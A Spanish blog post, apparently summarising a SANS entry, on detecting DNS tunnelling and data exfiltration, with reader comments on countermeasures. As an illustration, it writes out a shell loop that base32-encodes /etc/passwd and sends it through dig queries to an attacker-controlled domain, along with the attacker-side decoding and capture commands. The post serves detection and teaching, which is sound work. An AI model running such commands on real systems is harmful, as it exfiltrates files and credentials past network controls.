¿Y tú, implementas alguna medida para detectar tráfico DNS malicioso?

Hoy leía en el blog de Sans una breve pero interesante entrada de Xavier Mertens que reseñaba la importancia de revisar la longitud de las consultas DNS en la red para detectar actividad maliciosa.

A estas alturas, todos sabemos que el servicio DNS se puede utilizar de varias maneras para evitar los controles de seguridad perimetral. El túnel DNS es ya una forma muy extendida de establecer conexiones con sistemas remotos (casi siempre con la intención de obtener una shell inversa y/o exfiltrar datos) y normalmente se basa en registros "TXT" utilizados para entregar el payload codificado.

Demasiadas solicitudes TXT DNS suelen apuntar a que algo extraño está sucediendo en la red, pero el "blue team" ha de tener cuidado para no darse de bruces ante la detección un buen número de falsos positivos porque los registros "TXT" también se utilizan con buenos propósitos, como el envío de registros SPF.

Adicionalmente, en lugar de utilizar registros TXT, la exfiltración de datos puede ocurrir directamente a través de resoluciones simples de FQDN ("Fully Qualified Domain Name"). El RFC 1035 establece que una longitud de consulta DNS es de 255 caracteres en total con cada subdominio de 63 caracteres o menos. Mediante el uso de Base32, podemos codificar nuestros datos en cadenas compatibles con los requisitos de DNS: "A-Z", "0-9" y "-".

Es fácil exfiltrar un archivo con el siguiente comando shell. Por ejemplo, podemos codificar un archivo (por ejemplo /etc/passwd) y generar varias solicitudes DNS a un dominio controlado por el atacante:
$ cat /etc/passwd | base32 -w 63 | while read L

do
  dig $L.data.rootshell.be @192.168.254.8
done

Ten en cuenta que el parámetro '-w 63' hace que la codificación respete el RFC. En el lado del atacante se verá llegar las siguientes peticiones:
$ grep 'data.rootshell.be' queries.log

20-Apr-2017 08:32:11.075 queries: info: client 172.x.x.x#44635: query: OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be IN A +E (192.168.254.8)

20-Apr-2017 08:32:11.113 queries: info: client 172.x.x.X#50081: query: YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be IN A +E (192.168.254.8)

20-Apr-2017 08:32:11.173 queries: info: client 172.x.x.x#40457: query: QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be IN A +E (192.168.254.8)

20-Apr-2017 08:32:11.222 queries: info: client 172.x.x.x#56897: query: 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be IN A +E (192.168.254.8)

20-Apr-2017 08:32:11.276 queries: info: client 172.x.x.x#57339: query: GOTYHI2DUNRVGUZTIOTTPFXGGORPMJUW4ORPMJUW4L3TPFXGGCTHMFWWK4Z2PA5.data.rootshell.be IN A +E (192.168.254.8)

...

Para decodificarlo, simplemente se puede lanzar el comando:
$ grep 'data.rootshell.be' queries.log | cut -d ' ' -f8 | cut -d '.' -f1| base32 -d | more

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
...

Y tampoco hace falta tener levantado un servidor DNS, basta con esnifar el tráfico entrante:
# tcpdump -vvv -s 0 -i eth0 -l -n port 53 | egrep "A\? .*\.data\.rootshell\.be"

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

    172.x.x.x.40335 > 192.168.254.8.53: [udp sum ok] 9843+ [1au] A? OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be. ar: . OPT UDPsize=4096 (110)

    172.x.x.x.35770 > 192.168.254.8.53: [udp sum ok] 19877+ [1au] A? YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be. ar: . OPT UDPsize=4096 (110)

    172.x.x.x.41463 > 192.168.254.8.53: [udp sum ok] 29267+ [1au] A? QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be. ar: . OPT UDPsize=4096 (110)

    172.x.x.x.38048 > 192.168.254.8.53: [udp sum ok] 30042+ [1au] A? 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be. ar: . OPT UDPsize=4096 (110)

...

No obstante, incluso hay que tener especialmente cuidado para detectar peticiones de resolución de nombres tan largos porque algunas CDNs utilizan peticiones también bastantes largas para identificar archivos, por ej.:

hxxps://2ecffd01e1ab3e9383f0-07db7b9624bbdf022e3b5395236d5cf8.ssl.cf4.rackcdn.com/Product/178ee827-0671-4f17-b75b-2022963f5980.pdf

¿La solución para una buena defensa? Para reducir el riesgo de falsos positivos hay que combinar varios controles como el volumen de tráfico por IP y por subdominios, la longitud de las peticiones DNS, el patrón y formato de las peticiones DNS y la repetición del destino de las peticiones (probable C2). Además de varias medidas como la creación de listas blancas y, quizás lo más efectivo, limitar el "horizonte" DNS (que sólo pueda resolver nombres de Internet un proxy).

¿Y tú, implementas alguna medida para detectar tráfico DNS malicioso?

3 comentarios :

  1. master. Pregunta (de ignorante). ¿Una contramedida podría ser permitir consultas solamente a DNS preestablecidos (ej: 8.8.8.8 8.8.4.4) y bloquear el resto de las peticiones al 53? gracias

    ResponderEliminar
    Respuestas
    1. Hola! Esa contramedida no valdría porque los DNS de Google igual reenviarían la petición de resolución y acabaría llegando al servidor malicioso. La medida efectiva sería sólo permitir usarlos a un proxy que tuviera la configuración adecuada para analizar las consultas y detectar actividad maliciosa.

      Saludos,

      Eliminar